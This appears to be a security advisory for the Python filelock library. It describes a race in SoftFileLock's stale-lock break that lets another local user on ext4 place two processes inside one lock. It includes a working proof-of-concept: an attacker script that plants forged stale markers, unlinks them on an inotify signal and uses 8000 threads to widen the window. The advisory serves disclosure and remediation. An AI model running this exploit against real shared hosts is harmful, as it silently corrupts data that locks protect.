GHSA-fq56-3cx3-fjxp: Medium severity pip/filelock vulnerability

The stale-lock break shared by SoftFileLock, MarkerSoftFileLock and SoftFileLease (and their async variants, and a FileLock that has fallen back to a soft lock on ENOSYS, the "not implemented" error) recognises the marker it judged stale by two values. The marker is the lock file at <path>, whose presence says a process holds the lock. The values are its inode number (the kernel's identity for a file, independent of its name) and its modification time (mtime) not being newer. The check runs after the contender has already closed the marker, so nothing keeps the inode allocated.

On a filesystem that hands a freed inode number straight to the next file (ext4, xfs, overlayfs on them) the next holder's marker can carry that number. A contender still between its read and its break then renames and unlinks the live marker. Another local user (the other user below) who can create files in the lock's directory, a sticky /tmp included (the sticky bit is a directory flag that lets only a file's owner remove it), forces this at will. It plants a marker with a stale owner record and a modification time in the future and unlinks it as soon as a contender has read it. Two processes of the user running the lock (the lock user below) then hold the same default-configured lock at once, and nothing raises or logs. Affected versions: filelock >= 3.22.0 and <= 4.2.0 (finding ANT-2026-KIIS96IX).

Severity

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).

AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): a race, though one the other user starts, lengthens (by making the lock user's /proc read slow) and retries at every release. The scanner measured 10 to 26 overlaps per 20-second run. PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's processes act on their own. C:N (no confidentiality impact): the other user reads nothing. I:H (high integrity impact): two holders write the data the lock protects, and neither learns of the other. A:N (no availability impact): the lock keeps working.

Classification from the review: security, conditional on a sticky shared directory, ext4-style inode reuse and at least two contenders of the lock user. Our review verified it across UIDs (a UID is a user account's numeric id): the other user as uid 1001, the lock user's processes as uid 1000, BUG on 4.2.0 over ext4. The scanner rated it high (CWE-367).

Scope and preconditions

- The other user can create files in the lock's directory; a root-owned 1777 directory such as /tmp or /var/tmp is enough. It creates, utimes (sets the timestamps of) and unlinks only its own file. The sticky bit stops it removing the lock user's marker (checked: EPERM, operation not permitted), so the lock user's own stale break does the deletion. - The directory is on a filesystem that hands a freed inode number straight to the next file. ext4 does (six create/unlink rounds returned one number six times, in the image's overlayfs /tmp and on a loop-mounted ext4), and xfs does. tmpfs returned six increasing numbers and the same run there gave no overlap, and btrfs does not hand a freed number back. - The lock user has at least two processes contending for the lock, and the displaced holder is still inside when the next contender polls (the breaker itself comes back one pollinterval, 50 ms by default, later). - The lock is SoftFileLock, MarkerSoftFileLock or SoftFileLease (or async forms). The default flock-based FileLock joins them only after it has fallen back to SoftFileLock on ENOSYS. StrictSoftFileLock does not call breaklockfile, so it is not affected. - The same overlap also occurs with no other user involved, under heavy same-account contention, when a contender breaks a dead holder's marker and a successor creates its marker within the same timestamp tick (about once in 750 crashes with 64 workers on a 2-CPU machine, not on tmpfs).

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496, the re-check sits in breaklockfile. Its callers are SoftFileLock.trybreakstalelock, MarkerSoftFileLock.trybreakstalelock and SoftFileLease.trybreakstalelock. The reader readlockfile closes the judged marker before the verdict.

Introduced

e35c3afac473 ("feat(soft): detect and break stale locks", #476, 2026-02-13), first released in 3.22.0 (verified against the tags). Every release since, up to 4.2.0, carries the check.

Mechanism

trybreakstalelock reads the marker through readlockfile (lstat, ORDONLY | ONONBLOCK | ONOFOLLOW open, fstat, read, close), decides with ownerisstale that the owner is gone, and calls breaklockfile(lockfile, mtime, ino):

python src/filelock/util.py:113-118 if (current := os.lstat(lockfile)).stmtime > mtimebefore or current.stino != inobefore: return breakpath: Final[str] = f"{lockfile}.break.{os.getpid()}.{secrets.tokenhex(16)}" Path(lockfile).rename(breakpath) if (stafter := os.lstat(breakpath)).stmtime <= mtimebefore and stafter.stino == inobefore: Path(breakpath).unlink()

Between the close in readlockfile and the lstat on line 113 nothing keeps the inode allocated. An inode number identifies a file only while something holds that inode. The release path already says so ("Our open descriptor keeps the inode allocated, so its number cannot name a successor's marker yet"); the break path does not. That leaves the modification time, which the file's owner sets to any value and which the code compares by order. With two jobs A and B of the lock user and the other user:

1. The other user creates app.lock (inode I) with the record <its own pid>\n<host>\n1\n and sets its time to the year 2100 with os.utime(). A live PID with a wrong start token (the value that identifies one incarnation of a PID) is a recycled PID, so every contender judges the owner stale. On its own this marker only makes the lock user's processes wait: they cannot rename another user's file in a sticky directory (EPERM, and acquire(timeout=1) raises Timeout). 2. A polls, reads (record, mtime=2100, ino=I), closes the file and enters ownerisstale(). 3. The other user unlinks its marker. Inode I is free. 4. B polls. The path is empty, so OEXCL (create only if absent) succeeds and ext4 gives the new marker inode number I. B holds the lock. 5. A reaches line 113 and looks at B's marker: its time (now) is not newer than 2100 and its inode number is I. A renames it (it is the lock user's own file, so the sticky bit does not object), line 117 passes for the same reason, and line 118 unlinks the live marker. 6. The path is empty again while B is still inside. The next contender to poll, A included, creates its marker and holds the lock as well.

When B releases, unlinkopenmarker finds another file at the path and leaves it alone, so neither side raises or logs anything. This is not the documented rename/link-back window: the code does not take the link-back branch and leaves no app.lock.break. file behind. With a marker dated 2000, line 113 sees a newer time on B's marker and returns.

The other user does not need luck for the timing of step 3. It sees A's close() through inotify (a Linux facility that reports file events; here INCLOSENOWRITE on its own file), and it chooses how long A stays in ownerisstale(). To compare the start token, processstarttoken() reads /proc/<pid>/stat, and the kernel walks every thread of that process. Measured as victim, ownerisstale() takes a median of 19 µs for a dead PID and 931 µs for a process with 8000 idle threads. Step 4 then needs another contender's 50 ms poll to fall into that millisecond, and the other user retries at every release of the lock.

A forged time is not required, only convenient. File times advance in 4 ms steps, so a successor's marker created in the same step as the stale marker's last write compares equal and passes > / <= too (8, 16 and 16 overlaps in three 20-second runs with the os.utime() call removed, and still 9 with the comparisons changed to != / ==). Outside a container the window is wider. With a bare hostname ownerisstale() goes on to ownerrunselsewhere(), which reads /proc/<pid>/stat of every process on the machine (7 ms with 500 processes, 45 ms with 3000, against the default 50 ms pollinterval). With 3000 idle processes of the other user, both jobs of the lock user were inside at once in 12 and 13 of 30 rounds.

MarkerSoftFileLock and SoftFileLease read with readlockfile() and call breaklockfile() in the same way, and showed the same overlap when a stall held A 3 s in its kill(pid, 0) probe. The malformed-marker self-heal in SoftFileLock hands breaklockfile() values from the same closed descriptor. Where the lock user may rename the other user's file (it owns the sticky directory, or is root), the other user only acquires the free lock, dates the marker ahead and exits without releasing. The first contender then breaks that marker as designed and creates its own on the freed number, and a second contender that judged the planted marker before that break removes the live one. Two of the project's own tests at the scanned commit hit the same case without any other user (teststalebreakracingasuccessoradmitsnothirdholder, testbreaklockfileleavesaswappedinsymlinkaside), failing in 10 of 14 runs on ext4.

Reproduction

The scanner's reproducer for finding ANT-2026-KIIS96IX, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

python #!/usr/bin/env python3 import os import shutil import subprocess import sys

LOCKDIR = "/tmp/shared-locks" LOCKPATH = f"{LOCKDIR}/app.lock" VICTIMJOBS = 6 RUNSECONDS = 20 JAN12000 = 946684800 JAN12100 = 4102444800

def runvictimjobsbesideattacker(stalemarkermtime): # set up: an empty root-owned sticky directory, like /tmp (the sticky bit stops the attacker removing victim files) shutil.rmtree(LOCKDIR, ignoreerrors=True) os.mkdir(LOCKDIR) os.chmod(LOCKDIR, 0o1777)

# run: nobody is paused or traced; the attacker and the victim's jobs just run side by side attacker = subprocess.Popen( [sys.executable, "/tmp/repro.d/plantstalemarkers.py", LOCKPATH, str(stalemarkermtime)], stdout=subprocess.PIPE, text=True, user="attacker", group="attacker", extragroups=[], ) try: assert attacker.stdout.readline() == "ready\n" jobs = [ subprocess.Popen( [sys.executable, "/tmp/repro.d/victimjob.py", LOCKPATH, str(RUNSECONDS)], stdout=subprocess.PIPE, text=True, user="victim", group="victim", extragroups=[], ) for in range(VICTIMJOBS) ] holds = [] for number, job in enumerate(jobs): output, = job.communicate(timeout=RUNSECONDS + 60) assert job.returncode == 0 # no Timeout or other exception reached the victim's code for line in output.splitlines(): entered, left, islocked = line.split() assert islocked == "True" # the job believed it held the lock holds.append((float(entered), float(left), f"job{number}")) finally: attacker.kill() attacker.wait() breakfiles = [name for name in os.listdir(LOCKDIR) if ".break." in name] return sorted(holds), breakfiles

def overlappingholds(holds): # time.monotonic() is CLOCKMONOTONIC, one clock for every process on the host, so the intervals compare directly return [ (first, second) for index, first in enumerate(holds) for second in holds[index + 1 :] if second[0] < first[1] # sorted by entry: the second entered before the first had left ]

controlholds, = runvictimjobsbesideattacker(JAN12000) controloverlaps = overlappingholds(controlholds) print(f"CONTROL attacker's stale markers dated 2000: {len(controlholds)} holds by {VICTIMJOBS} victim jobs") print(f" two jobs inside the lock at once: {len(controloverlaps)} times")

attackholds, breakfiles = runvictimjobsbesideattacker(JAN12100) attackoverlaps = overlappingholds(attackholds) print(f"OBSERVED attacker's stale markers dated 2100: {len(attackholds)} holds by {VICTIMJOBS} victim jobs") print(f" two jobs inside the lock at once: {len(attackoverlaps)} times") for (entered, left, job), (otherentered, otherleft, otherjob) in attackoverlaps[:3]: print(f" {job} inside {entered:.3f}-{left:.3f}, {otherjob} inside {otherentered:.3f}-{otherleft:.3f}") the documented rename/link-back window of a stale break would strand a live marker as app.lock.break. print(f" stale-break files left in {LOCKDIR}: {breakfiles}")

check: an exclusive lock with default options must never have two holders at once print("BUG" if not controloverlaps and attackoverlaps else "OK")

repro.d/plantstalemarkers.py

python #!/usr/bin/env python3 import ctypes import os import sys import threading import time

from filelock import SoftFileLock

lockpath, markermtime = sys.argv[1], int(sys.argv[2]) INCLOSENOWRITE = 0x10 libc = ctypes.CDLL(None)

contenders only judge markers written on their own host, so take the host string from a marker of our own with SoftFileLock(lockpath): with open(lockpath) as ownmarker: host = ownmarker.read().splitlines()[1]

<pid>\n<host>\n<start token>\n: this PID is alive but its start token is not 1, so it reads as a recycled PID and every contender judges the marker stale stalemarker = f"{os.getpid()}\n{host}\n1\n".encode()

To compare start tokens a contender reads /proc/<pid>/stat, and the kernel walks every thread of that process: with 8000 threads that is about 1 ms between the contender reading the marker and breaking it. threading.stacksize(64 1024) for in range(8000): threading.Thread(target=threading.Event().wait, daemon=True).start() print("ready", flush=True)

while True: # plant the stale marker whenever the lock path is free try: fd = os.open(lockpath, os.OCREAT | os.OEXCL | os.OWRONLY, 0o644) except FileExistsError: time.sleep(0.0002) continue os.write(fd, stalemarker) os.utime(fd, (markermtime, markermtime)) # a file's owner may give it any modification time os.close(fd)

# once a contender has read it, unlink it: its inode number is free again for the next holder's marker inotify = libc.inotifyinit() libc.inotifyaddwatch(inotify, lockpath.encode(), INCLOSENOWRITE) os.read(inotify, 4096) os.unlink(lockpath) os.close(inotify)

# creating anything before the next holder does would take that inode number away from it while not os.path.lexists(lockpath): time.sleep(0.0002)

repro.d/victimjob.py

python #!/usr/bin/env python3 import random import sys import time

from filelock import SoftFileLock

lockpath, runseconds = sys.argv[1], float(sys.argv[2])

lock = SoftFileLock(lockpath) stopat = time.monotonic() + runseconds while time.monotonic() < stopat: with lock: entered = time.monotonic() time.sleep(random.uniform(0.05, 0.15)) # the work the lock protects print(entered, time.monotonic(), lock.islocked, flush=True)

Attack sequence

mermaid sequenceDiagram participant X as other local user (uid 1001) participant P as app.lock (root-owned 1777 dir, ext4) participant A as process A of the lock user (uid 1000) participant B as process B of the lock user (uid 1000) X->>P: create "livepid host 1", utime to 2100 (inode I) A->>P: open, fstat (ino I, mtime 2100), read, close A->>A: ownerisstale: recycled PID (slow: /proc read of X's 8000-thread process) rect rgb(255, 214, 214) X->>P: inotify INCLOSENOWRITE on own file: unlink it, I is free B->>P: OCREAT|OEXCL: new marker gets inode I, B holds and enters A->>P: lstat: mtime now <= 2100 and ino == I: rename to app.lock.break. A->>P: lstat break name: same, unlink B's live marker A->>P: next poll 50 ms later: OEXCL create, A enters beside B Note over A,B: B's release finds another inode, leaves it, no error on either side end

Evidence

The scanner's reproducer runs six victim jobs (uid 1000) looping with SoftFileLock("/tmp/shared-locks/app.lock"): around 50 to 150 ms of work, printing time.monotonic() entry and exit and lock.islocked, for 20 s. Beside them runs an attacker process (uid 1001) with 8000 idle threads that plants its marker whenever the path is free, waits for INCLOSENOWRITE, unlinks it and waits for the next victim marker. The control (markers dated 2000) prints 191 holds by 6 victim jobs, two jobs inside the lock at once: 0 times. The disturbed run (dated 2100) prints 196 holds, two jobs inside the lock at once: 15 times, for example job3 inside 130.436-130.530, job5 inside 130.444-130.521, with stale-break files left in /tmp/shared-locks: []. Six runs gave between 11 and 24 overlaps, 0 in each control, every with block ending without error with islocked == True.

An strace of a landed round shows A's close(4</tmp/app.lock>(deleted)), B's openat(OWRONLY|OCREAT|OEXCL|...) with stino=296421, and A's lstat, rename, lstat, unlink all on 296421, followed by B's write(4</tmp/app.lock.break.32232.7d9f...>(deleted), ...) and A's own create 53 ms later.

Our review ran the reproducer over a loop-mounted ext4 /tmp inside the container (the host's btrfs does not reuse a number). Result: BUG on 4.2.0 in 43 s, with the other user as uid 1001 against the lock user's processes as uid 1000; it created and unlinked only its own file in a root-owned 1777 directory. On btrfs the same run is OK, so the condition is the filesystem's inode allocation. On the head of #843 the run was OK with 0 overlaps in 193 holds.

Impact

A local user who can create files in the lock's directory puts two processes of another user inside the same default-configured SoftFileLock, MarkerSoftFileLock or SoftFileLease at once, with no exception, no lifetime, no lease expiry and no breaklock() involved. Two holders then write the data the lock protects. SoftFileLock and MarkerSoftFileLock holders learn nothing. A displaced SoftFileLease holder got compromise.reason == "owner-changed" at its first heartbeat (the periodic refresh a lease holder runs) when the second holder's marker was still at the path, and None after 13 s when the second holder had already released.

It is a race, but the other user controls the start and the length of the window, and each failed attempt costs the lock user's processes one poll. Under the same interference with two processes of the lock user and 20 ms critical sections, 26 of 110 holds in 60 s found their own marker unlinked (stnlink == 0, no name left for the file) while inside, without two holds overlapping. Not affected: tmpfs and btrfs, a lock with a single contender, StrictSoftFileLock.

Workarounds

Keep soft locks in a directory other users cannot create files in (a 0700 directory of the lock's user) rather than a shared sticky directory, or place the lock directory on tmpfs, which does not reuse inode numbers. Where the native FileLock works (local ext4 with flock), prefer it over SoftFileLock. StrictSoftFileLock is not affected.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/843

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

- 2026-10-15 23:08 UTC: report received (finding ANT-2026-KIIS96IX, scanned commit b831496b0273) - 2026-10-16 01:42 UTC: fix PR #843 opened - 2026-10-16 05:38 UTC: draft advisory created